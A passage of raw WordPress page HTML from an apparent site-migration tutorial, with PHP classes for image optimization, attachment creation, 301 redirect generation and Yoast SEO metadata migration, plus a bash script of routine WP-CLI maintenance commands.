class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private function optimizeImage($imagePath) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$imageInfo = getimagesize($imagePath);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ($imageInfo[0] &gt; 1920) { \/\/ Resize large images<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;resizeImage($imagePath, 1920);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Compress image based on type<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;switch ($imageInfo[&#8216;mime&#8217;]) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case &#8216;image\/jpeg&#8217;:<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;compressJPEG($imagePath);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case &#8216;image\/png&#8217;:<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;compressPNG($imagePath);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private function createWordPressAttachment($filePath, $filename) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$uploadDir = wp_upload_dir();<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$relativeUrl = str_replace($uploadDir[&#8216;basedir&#8217;], &#8221;, $filePath);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$attachment = [<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;post_mime_type&#8217; =&gt; mime_content_type($filePath),<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;post_title&#8217; =&gt; pathinfo($filename, PATHINFO_FILENAME),<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;post_content&#8217; =&gt; &#8221;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;post_status&#8217; =&gt; &#8216;inherit&#8217;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$attachmentId = wp_insert_attachment($attachment, $filePath);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (!is_wp_error($attachmentId)) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;require_once(ABSPATH . &#8216;wp-admin\/includes\/image.php&#8217;);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$attachmentData = wp_generate_attachment_metadata($attachmentId, $filePath);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;wp_update_attachment_metadata($attachmentId, $attachmentData);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return $attachmentId;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>?&gt;<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>URL Preservation and SEO Migration<\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Comprehensive Redirect Management<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&lt;?php<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>\/\/ redirect-manager.php<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>class MigrationRedirectManager {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private $oldUrls = [];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private $newUrls = [];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;public function generateRedirectMap($migrationData) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach ($migrationData as $item) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$oldUrl = $this-&gt;buildOldUrl($item);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$newUrl = $this-&gt;buildNewUrl($item);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;oldUrls[] = $oldUrl;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;newUrls[] = $newUrl;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;generateHtaccessRedirects();<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;generateRedirectionPluginRules();<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private function generateHtaccessRedirects() {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$htaccessRules = &#8220;# Migration Redirects\\n&#8221;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for ($i = 0; $i &lt; count($this-&gt;oldUrls); $i++) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$oldPath = parse_url($this-&gt;oldUrls[$i], PHP_URL_PATH);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$newPath = parse_url($this-&gt;newUrls[$i], PHP_URL_PATH);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$htaccessRules .= &#8220;Redirect 301 {$oldPath} {$newPath}\\n&#8221;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;file_put_contents(&#8216;migration-redirects.htaccess&#8217;, $htaccessRules);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private function generateRedirectionPluginRules() {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$rules = [];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for ($i = 0; $i &lt; count($this-&gt;oldUrls); $i++) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$rules[] = [<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;source&#8217; =&gt; $this-&gt;oldUrls[$i],<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;target&#8217; =&gt; $this-&gt;newUrls[$i],<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;type&#8217; =&gt; 301,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;match_type&#8217; =&gt; &#8216;url&#8217;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Insert into Redirection plugin database<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;insertRedirectionRules($rules);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private function insertRedirectionRules($rules) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;global $wpdb;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach ($rules as $rule) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$wpdb-&gt;insert(<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$wpdb-&gt;prefix . &#8216;redirection_items&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;url&#8217; =&gt; $rule[&#8216;source&#8217;],<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;action_data&#8217; =&gt; $rule[&#8216;target&#8217;],<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;action_type&#8217; =&gt; &#8216;url&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;match_type&#8217; =&gt; $rule[&#8216;match_type&#8217;],<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;status&#8217; =&gt; &#8216;enabled&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;group_id&#8217; =&gt; 1<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;]<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>?&gt;<\/em><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>SEO Metadata Migration<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&lt;?php<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>\/\/ seo-migrator.php<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>class SEOMigrator {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;public function migrateSEOData($sourceData, $wpPostId) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Migrate meta titles and descriptions<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (!empty($sourceData[&#8216;meta_title&#8217;])) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;update_post_meta($wpPostId, &#8216;_yoast_wpseo_title&#8217;, $sourceData[&#8216;meta_title&#8217;]);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (!empty($sourceData[&#8216;meta_description&#8217;])) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;update_post_meta($wpPostId, &#8216;_yoast_wpseo_metadesc&#8217;, $sourceData[&#8216;meta_description&#8217;]);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Migrate meta keywords (if applicable)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (!empty($sourceData[&#8216;meta_keywords&#8217;])) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;update_post_meta($wpPostId, &#8216;_yoast_wpseo_focuskw&#8217;, $sourceData[&#8216;meta_keywords&#8217;]);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Set canonical URL if different<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (!empty($sourceData[&#8216;canonical_url&#8217;])) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;update_post_meta($wpPostId, &#8216;_yoast_wpseo_canonical&#8217;, $sourceData[&#8216;canonical_url&#8217;]);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Migrate Open Graph data<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;migrateOpenGraphData($sourceData, $wpPostId);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private function migrateOpenGraphData($sourceData, $wpPostId) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$ogMapping = [<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;og_title&#8217; =&gt; &#8216;_yoast_wpseo_opengraph-title&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;og_description&#8217; =&gt; &#8216;_yoast_wpseo_opengraph-description&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;og_image&#8217; =&gt; &#8216;_yoast_wpseo_opengraph-image&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;twitter_title&#8217; =&gt; &#8216;_yoast_wpseo_twitter-title&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;twitter_description&#8217; =&gt; &#8216;_yoast_wpseo_twitter-description&#8217;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach ($ogMapping as $sourceKey =&gt; $wpMetaKey) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (!empty($sourceData[$sourceKey])) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;update_post_meta($wpPostId, $wpMetaKey, $sourceData[$sourceKey]);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>?&gt;<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Post-Migration Optimization and Testing<\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Performance Optimization Scripts<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><em>#!\/bin\/bash<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># post-migration-optimization.sh<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>echo &#8220;Starting post-migration optimization&#8230;&#8221;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Clear all caches<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>wp cache flush<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>wp transient delete &#8211;all<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Regenerate thumbnails for migrated images<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>wp media regenerate &#8211;yes<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Update permalink structure<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>wp rewrite structure &#8216;\/%postname%\/&#8217; &#8211;hard<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>wp rewrite flush &#8211;hard<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Optimize database<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>wp db optimize<\/em><\/p>\n\n\n\n<p 